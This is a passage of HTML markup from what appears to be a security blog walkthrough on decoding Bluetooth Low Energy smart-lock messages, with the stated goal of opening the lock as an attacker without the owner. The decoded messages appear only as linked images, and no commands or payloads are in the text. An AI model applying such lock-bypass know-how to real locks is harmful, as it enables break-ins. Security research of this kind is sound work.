data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/5c26b070-d6c3-4de9-8985-3754632f30b4_756x288.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:288,&quot;width&quot;:756,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:22197,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.cybervelia.com/i/193353932?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c26b070-d6c3-4de9-8985-3754632f30b4_756x288.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!GhK6!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c26b070-d6c3-4de9-8985-3754632f30b4_756x288.png 424w, https://substackcdn.com/image/fetch/$s_!GhK6!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c26b070-d6c3-4de9-8985-3754632f30b4_756x288.png 848w, https://substackcdn.com/image/fetch/$s_!GhK6!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c26b070-d6c3-4de9-8985-3754632f30b4_756x288.png 1272w, https://substackcdn.com/image/fetch/$s_!GhK6!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c26b070-d6c3-4de9-8985-3754632f30b4_756x288.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><strong>Message 3:</strong></p><p>The message is deconstructed as shown below:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!rCp8!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcfdcd90a-2b79-4c74-bfa4-ed1d219ab6ec_755x292.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!rCp8!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcfdcd90a-2b79-4c74-bfa4-ed1d219ab6ec_755x292.png 424w, https://substackcdn.com/image/fetch/$s_!rCp8!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcfdcd90a-2b79-4c74-bfa4-ed1d219ab6ec_755x292.png 848w, https://substackcdn.com/image/fetch/$s_!rCp8!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcfdcd90a-2b79-4c74-bfa4-ed1d219ab6ec_755x292.png 1272w, https://substackcdn.com/image/fetch/$s_!rCp8!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcfdcd90a-2b79-4c74-bfa4-ed1d219ab6ec_755x292.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!rCp8!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcfdcd90a-2b79-4c74-bfa4-ed1d219ab6ec_755x292.png" width="755" height="292" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/cfdcd90a-2b79-4c74-bfa4-ed1d219ab6ec_755x292.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:292,&quot;width&quot;:755,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:22639,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.cybervelia.com/i/193353932?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcfdcd90a-2b79-4c74-bfa4-ed1d219ab6ec_755x292.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!rCp8!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcfdcd90a-2b79-4c74-bfa4-ed1d219ab6ec_755x292.png 424w, https://substackcdn.com/image/fetch/$s_!rCp8!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcfdcd90a-2b79-4c74-bfa4-ed1d219ab6ec_755x292.png 848w, https://substackcdn.com/image/fetch/$s_!rCp8!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcfdcd90a-2b79-4c74-bfa4-ed1d219ab6ec_755x292.png 1272w, https://substackcdn.com/image/fetch/$s_!rCp8!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcfdcd90a-2b79-4c74-bfa4-ed1d219ab6ec_755x292.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><strong>Message 4:</strong></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!dVBC!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4e8d45b1-95bb-4cbb-8fbc-bd81eb030b65_755x298.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!dVBC!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4e8d45b1-95bb-4cbb-8fbc-bd81eb030b65_755x298.png 424w, https://substackcdn.com/image/fetch/$s_!dVBC!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4e8d45b1-95bb-4cbb-8fbc-bd81eb030b65_755x298.png 848w, https://substackcdn.com/image/fetch/$s_!dVBC!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4e8d45b1-95bb-4cbb-8fbc-bd81eb030b65_755x298.png 1272w, https://substackcdn.com/image/fetch/$s_!dVBC!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4e8d45b1-95bb-4cbb-8fbc-bd81eb030b65_755x298.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!dVBC!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4e8d45b1-95bb-4cbb-8fbc-bd81eb030b65_755x298.png" width="755" height="298" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/4e8d45b1-95bb-4cbb-8fbc-bd81eb030b65_755x298.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:298,&quot;width&quot;:755,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:20669,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.cybervelia.com/i/193353932?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4e8d45b1-95bb-4cbb-8fbc-bd81eb030b65_755x298.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!dVBC!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4e8d45b1-95bb-4cbb-8fbc-bd81eb030b65_755x298.png 424w, https://substackcdn.com/image/fetch/$s_!dVBC!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4e8d45b1-95bb-4cbb-8fbc-bd81eb030b65_755x298.png 848w, https://substackcdn.com/image/fetch/$s_!dVBC!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4e8d45b1-95bb-4cbb-8fbc-bd81eb030b65_755x298.png 1272w, https://substackcdn.com/image/fetch/$s_!dVBC!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4e8d45b1-95bb-4cbb-8fbc-bd81eb030b65_755x298.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><strong>Message 5:</strong></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!E-vs!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F570bf344-b359-4425-add9-80f191de4d5c_750x289.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!E-vs!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F570bf344-b359-4425-add9-80f191de4d5c_750x289.png 424w, https://substackcdn.com/image/fetch/$s_!E-vs!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F570bf344-b359-4425-add9-80f191de4d5c_750x289.png 848w, https://substackcdn.com/image/fetch/$s_!E-vs!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F570bf344-b359-4425-add9-80f191de4d5c_750x289.png 1272w, https://substackcdn.com/image/fetch/$s_!E-vs!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F570bf344-b359-4425-add9-80f191de4d5c_750x289.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!E-vs!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F570bf344-b359-4425-add9-80f191de4d5c_750x289.png" width="750" height="289" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/570bf344-b359-4425-add9-80f191de4d5c_750x289.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:289,&quot;width&quot;:750,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:18264,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.cybervelia.com/i/193353932?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F570bf344-b359-4425-add9-80f191de4d5c_750x289.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!E-vs!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F570bf344-b359-4425-add9-80f191de4d5c_750x289.png 424w, https://substackcdn.com/image/fetch/$s_!E-vs!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F570bf344-b359-4425-add9-80f191de4d5c_750x289.png 848w, https://substackcdn.com/image/fetch/$s_!E-vs!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F570bf344-b359-4425-add9-80f191de4d5c_750x289.png 1272w, https://substackcdn.com/image/fetch/$s_!E-vs!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F570bf344-b359-4425-add9-80f191de4d5c_750x289.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>The final goal of this scenario is to be able, as attackers, to open the lock without the help of the true owner.</p><p>By clicking into the unlock button of the BLE smart lock we are able see the message and decode it:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!ylws!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F749904c6-2389-4c99-a4f8-8a369bae5680_576x1024.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!ylws!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F749904c6-2389-4c99-a4f8-8a369bae5680_576x1024.png 424w, https://substackcdn.com/image/fetch/$s_!ylws!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F749904c6-2389-4c99-a4f8-8a369bae5680_576x1024.png 848w, https://substackcdn.com/image/fetch/$s_!ylws!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F749904c6-2389-4c99-a4f8-8a369bae5680_576x1024.png 1272w, https://substackcdn.com/image/fetch/$s_!ylws!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F749904c6-2389-4c99-a4f8-8a369bae5680_576x1024.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!ylws!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F749904c6-2389-4c99-a4f8-8a369bae5680_576x1024.png" width="302" height="536.8888888888889" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/749904c6-2389-4c99-a4f8-8a369bae5680_576x1024.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1024,&quot;width&quot;:576,&quot;resizeWidth&quot;:302,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!ylws!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F749904c6-2389-4c99-a4f8-8a369bae5680_576x1024.png 424w, https://substackcdn.com/image/fetch/$s_!ylws!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F749904c6-2389-4c99-a4f8-8a369bae5680_576x1024.png 848w, https://substackcdn.com/image/fetch/$s_!ylws!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F749904c6-2389-4c99-a4f8-8a369bae5680_576x1024.png 1272w, https://substackcdn.com/image/fetch/$s_!ylws!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F749904c6-2389-4c99-a4f8-8a369bae5680_576x1024.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Unlocking the smartlock</figcaption></figure></div><p><strong>Message 6:</strong></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!bSFb!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F49a87684-cae4-40f5-b725-78a32ecc6a86_750x302.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!bSFb!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F49a87684-cae4-40f5-b725-78a32ecc6a86_750x302.png 424w, https://substackcdn.com/image/fetch/$s_!bSFb!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F49a87684-cae4-40f5-b725-78a32ecc6a86_750x302.png 848w, https://substackcdn.com/image/fetch/$s_!bSFb!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F49a87684-cae4-40f5-b725-78a32ecc6a86_750x302.png 1272w, https://substackcdn.com/image/fetch/$s_!bSFb!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F49a87684-cae4-40f5-b725-78a32ecc6a86_750x302.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!bSFb!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F49a87684-cae4-40f5-b725-78a32ecc6a86_750x302.png" width="750" height="302" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/49a87684-cae4-40f5-b725-78a32ecc6a86_750x302.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:302,&quot;width&quot;:750,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:18551,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.cybervelia.com/i/193353932?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F49a87684-cae4-40f5-b725-78a32ecc6a86_750x302.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!bSFb!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F49a87684-cae4-40f5-b725-78a32ecc6a86_750x302.png 424w, https://substackcdn.com/image/fetch/$s_!bSFb!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F49a87684-cae4-40f5-b725-78a32ecc6a86_750x302.png 848w, https://substackcdn.com/image/fetch/$s_!bSFb!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F49a87684-cae4-40f5-b725-78a32ecc6a86_750x302.png 1272w, https://substackcdn.com/image/fetch/$s_!bSFb!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F49a87684-cae4-40f5-b725-78a32ecc6a86_750x302.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 